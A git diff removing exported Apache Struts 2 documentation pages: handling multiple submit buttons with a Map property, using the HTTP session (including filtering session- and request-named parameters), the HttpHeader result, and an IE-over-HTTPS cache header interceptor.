-</div></div><p>When the button for the item with the property id == "27" is pressed, a parameter named <em>delete[27]</em> and value "delete" is set in your action. The trick is to declare your action's "delete" property as a <code>java.util.Map</code>. Then, a key will exist for the button that was pressed.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public void class UpdateCart implements Action {
-
-    // Must be initialized to be usable as a Struts 2 input parameter.
-    private Map delete = new HashMap(); 
-
-    /** 
-     * This is somewhat counter intuitive. But a property like "delete[OS:27]"
-     * that is set to "delete" by Struts 2 will be interpreted by the underlying    
-     * OGNL expression engine as "set the property 27 of the action's property
-     * "delete" to the value "delete". So we must provide a getter for this
-     * action. A setter is not needed.
-     */
-    public Map getDelete() {
-        return delete;
-    }
-
-    public String execute() {
-        for (Iterator i = delete.keySet().iterator(); i.hasNext(); ) {
-            String id = (String) i.next();
-            ...
-            // do what ever you want
-            ...
-         }
-         ...
-    }
-}
-</pre>
-</div></div><p>In this case it would not be necessary to iterate the whole keySet because it contains only one key but the same code can be use to handle sets of checkboxes if this is prefered later:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;form action="UpdateCart.action"&gt;
-  &lt;s:iterator value="items"&gt;
-    &lt;s:property value="name"&gt; 
-    &lt;input type="checkbox" name="delete[&lt;s:property value='item'/&gt;]" value="delete"/&gt; &lt;br/&gt;
-  &lt;/s:iterator&gt;
-  &lt;input type="submit" name="updateCart" value="Update the cart"/&gt;
-&lt;/form&gt;
-</pre>
-</div></div><p>The two implementations can even be combined two provide a quick "delete this item" button and a set of checkboxes for "mass updates". All with the above code, cool eh?</p><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/http-session.html b/content/docs/http-session.html
deleted file mode 100644
index 4385da9..0000000
--- a/content/docs/http-session.html
+++ /dev/null
@@ -1,218 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>HTTP Session</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="http-session.html">HTTP Session</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">HTTP Session</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27838912">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27838912">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27838912">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27838912">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27838912">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27838912">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, http_session, is available at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples</a></p></div [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">private Map&lt;String, Object&gt; userSession ;
-
-public void setSession(Map&lt;String, Object) session) {
-
-   userSession = session ;
-
-}
-
-</pre>
-</div></div><p>The Struts 2 framework has an interceptor that will inject the HTTP session object into the Action class by calling the setSession method.</p><h3 id="HTTPSession-UsingtheHTTPSessionObjectInTheActionClass">Using the HTTP Session Object In The Action Class</h3><p>The example application keeps track of how many times the user clicks on a Hello link or submits the hello form. It stores this count in the HTTP session object in the increaseHelloCount method.</p><div class="code  [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">private void increaseHelloCount() {
-			
-   Integer helloCount = (Integer) userSession.get(HELLO_COUNT);
-		
-   if (helloCount == null ) {
-		
-     helloCount = 1;
-			
-   } else {
-			
-     helloCount++;
-
-   }
-		
-   userSession.put(HELLO_COUNT, helloCount);
-	
-}
-
-
-</pre>
-</div></div><p>When the increaseHelloCount method is called from within the execute method, the userSession object is a reference to the HTTP session object injected by the Struts 2 framework. So any objects stored in the HTTP session can be retrieved using the userSession object and any objects stored in the userSession object will be stored in the HTTP session object.</p><h3 id="HTTPSession-AccessingHTTPSessionObjectsInTheView">Accessing HTTP Session Objects In The View</h3><p>Struts 2 [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">   &lt;p&gt;I've said hello to you &lt;s:property value="#session.helloCount" /&gt; times!&lt;/p&gt;
-
-</pre>
-</div></div><p>The s:property tag's value attribute has a value of #session.helloCount. The "#" before the word session tells the Struts framework to look in the session scope for a key of "helloCount" (which is the value of the String constant HELLO_COUNT referenced in method increaseHelloCount). Struts will get the object mapped to helloCount key and then call that object's toString method to determine what to display in the view page.</p><h3 id="HTTPSession-BestPracticesWhenUsingSessi [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">	public boolean acceptableParameterName(String parameterName) {
-		
-		boolean allowedParameterName = true ;
-		
-		if ( parameterName.contains("session")  || parameterName.contains("request") ) {
-		
-			allowedParameterName = false ;
-			
-		} 
-		
-		return allowedParameterName;
-	}
-
-</pre>
-</div></div><p>This method will be called by the Struts 2 framework for each parameter in the request scope. By returning false if the parameter name contains "session" we are telling the Struts 2 framework to ignore that parameter. This will prevent a malicious user from trying to hack the HTTP session object.</p><p>Instead of having each action that implements SessionAware also implement the ParameterNameAware interface you can tell the params interceptor to exclude specific request at [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">	&lt;package name="basicstruts2" extends="struts-default"&gt;
-
- 		&lt;interceptors&gt;
-	 		&lt;interceptor-stack name="appDefault"&gt;
-	        	 &lt;interceptor-ref name="defaultStack"&gt;
-	      			&lt;param name="exception.logEnabled"&gt;true&lt;/param&gt;
-	      			&lt;param name="exception.logLevel"&gt;ERROR&lt;/param&gt;
-	      			&lt;param name="params.excludeParams"&gt;dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,parameters\...*&lt;/param&gt;
-	   			&lt;/interceptor-ref&gt;
-	 	    &lt;/interceptor-stack&gt;
-		&lt;/interceptors&gt;
-		
-		&lt;default-interceptor-ref name="appDefault" /&gt;
-
-</pre>
-</div></div><p>The above code will ensure that every action in the "basicstruts2" package that implements the SessionAware interface will exclude from processing parameters that starts with the strings provided in the params.excludeParams noded.</p><p>The example project includes both methods for mitigating the SessionAware security vulnerability.</p><div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve conflu [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/httpheader-result.html b/content/docs/httpheader-result.html
deleted file mode 100644
index ceda3ec..0000000
--- a/content/docs/httpheader-result.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>HttpHeader Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="httpheader-result.html">HttpHeader Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">HttpHeader Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14203">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14203">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14203">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14203">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14203">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14203">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p></p><p>
-A custom Result type for setting HTTP headers and status by optionally evaluating against the ValueStack.
-This result can also be used to send an error to the client. All the parameters can be evaluated against the ValueStack.
-</p>
-<h1 id="HttpHeaderResult-Parameters">Parameters</h1><p>
-</p><p></p><ul></ul><p></p><ul><li><b>status</b> - the http servlet response status code that should be set on a response.</li></ul><p></p><ul><li><b>parse</b> - true by default. If set to false, the headers param will not be parsed for Ognl expressions.</li></ul><p></p><ul><li><b>headers</b> - header values.</li></ul><p></p><ul><li><b>error</b> - the http servlet response error code that should be set on a response.</li></ul><p></p><ul><li><b>errorMessage</b> - error message to be set o [...]
-<h1 id="HttpHeaderResult-Examples">Examples</h1><p></p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;result name=&quot;success&quot; type=&quot;httpheader&quot;&gt;
-  &lt;param name=&quot;status&quot;&gt;204&lt;/param&gt;
-  &lt;param name=&quot;headers.a&quot;&gt;a custom header value&lt;/param&gt;
-  &lt;param name=&quot;headers.b&quot;&gt;another custom header value&lt;/param&gt;
-&lt;/result&gt;
-
-&lt;result name=&quot;proxyRequired&quot; type=&quot;httpheader&quot;&gt;
-  &lt;param name=&quot;error&quot;&gt;305&lt;/param&gt;
-  &lt;param name=&quot;errorMessage&quot;&gt;this action must be accessed through a proxy&lt;/param&gt;
-&lt;/result&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/https-and-ie-issues.html b/content/docs/https-and-ie-issues.html
deleted file mode 100644
index c74a9c7..0000000
--- a/content/docs/https-and-ie-issues.html
+++ /dev/null
@@ -1,183 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>HTTPS and IE Issues</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="stream-result.html">Stream Result</a>&nbsp;&gt;&nbsp;<a href="https-and-ie-issues.html">HTTPS and IE Issues</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">HTTPS and IE Issues</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14105">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14105">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14105">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14105">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14105">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14105">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<h1 id="HTTPSandIEIssues-HTTPSandIEIssues">HTTPS and IE Issues</h1>
-
-<p>&#160;When trying to stream PDF's, TIFF's, and various other types of content over HTTPS to certain versions of Internet Explorer you may trigger a creative (broken) interpretation of the HTTP spec. The following interceptor should be applied to your actions to set the HTTP headers cache settings to private. This should avoid the issue. (You should *only* do this if you are running over HTTPS!)</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package org.tuxbot.ww.interceptor;
-
-import com.opensymphony.xwork.interceptor.AroundInterceptor;
-import com.opensymphony.xwork.ActionInvocation;
-import com.opensymphony.webwork.ServletActionContext;
-
-import javax.servlet.http.HttpServletResponse;
-/**
- * This interceptor sets the the HTTP Header to work around IE SSL weirdness  *
- * @author Eric Molitor &lt;a href="mailto:eric@tuxbot.com"&gt;eric@tuxbot.com&lt;/a&gt;
- * @version 1.0
- */
-public class HTTPRequestCachePrivateInterceptor extends AroundInterceptor {
-
-    protected void after(ActionInvocation actionInvocation, String string) throws Exception {
-        // Nothing
-    }
-
-    protected void before(ActionInvocation actionInvocation) throws Exception {
-        HttpServletResponse res = (HttpServletResponse) actionInvocation.getInvocationContext().get(ServletActionContext.HTTP_RESPONSE);
-        res.setHeader("CACHE-CONTROL", "PRIVATE");
-    }
-}
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/i18n-interceptor.html b/content/docs/i18n-interceptor.html
deleted file mode 100644
index f104889..0000000
--- a/content/docs/i18n-interceptor.html
+++ /dev/null
@@ -1,146 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>I18n Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
